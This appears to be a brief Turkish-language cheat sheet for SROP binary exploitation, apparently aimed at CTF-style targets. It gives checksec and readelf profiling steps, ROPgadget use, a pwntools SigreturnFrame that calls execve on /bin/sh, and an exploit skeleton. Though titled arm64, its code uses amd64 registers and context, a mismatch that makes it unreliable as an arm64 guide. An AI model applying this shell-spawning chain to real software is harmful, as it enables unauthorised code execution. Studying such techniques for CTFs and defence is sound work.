SROP - arm64
binexp rop
SROP - arm64 bellek güvenliği istismarı notudur. Protections ölç, primitif kur, kontrol akışını ele geçir.
Metodoloji
Section titled “Metodoloji”-
checksec + mimari + crash yüzeyini çıkar.
-
Leak veya write primitifini kur.
-
ROP/hook/AW2E ile kontrol akışı al.
-
Shell veya flag’i stabilize et.
Binary profil
Section titled “Binary profil”file ./vulnchecksec --file=./vulnpwn checksec ./vulnreadelf -l ./vuln | rg -i 'gnu_stack|interp'readelf -S ./vuln | rg -i 'got|plt|bss|fini'gdb -q ./vulnROP zinciri
Section titled “ROP zinciri”ROPgadget --binary ./vuln | headfrom pwn import *ell=ELF('./vuln'); rop=ROP(ell)print(rop.gadgets)from pwn import *context.arch='amd64'frame=SigreturnFrame()frame.rip=syscall; frame.rax=constants.SYS_execveframe.rdi=binsh; frame.rsi=0; frame.rdx=0rax=15; syscall → rt_sigreturnExploit iskeleti
Section titled “Exploit iskeleti”from pwn import *context.binary=ell=ELF('./vuln')p=process('./vuln')# p=remote('TARGET',1337)# leak → calc → write → controlp.interactive()python3 exploit.pyChecklist
Section titled “Checklist”[ ] fingerprint / profil alındı[ ] primitif veya erişim doğrulandı[ ] PoC etkiyi gösterdi[ ] kanıt paketlendi[ ] sonraki pivot not edildi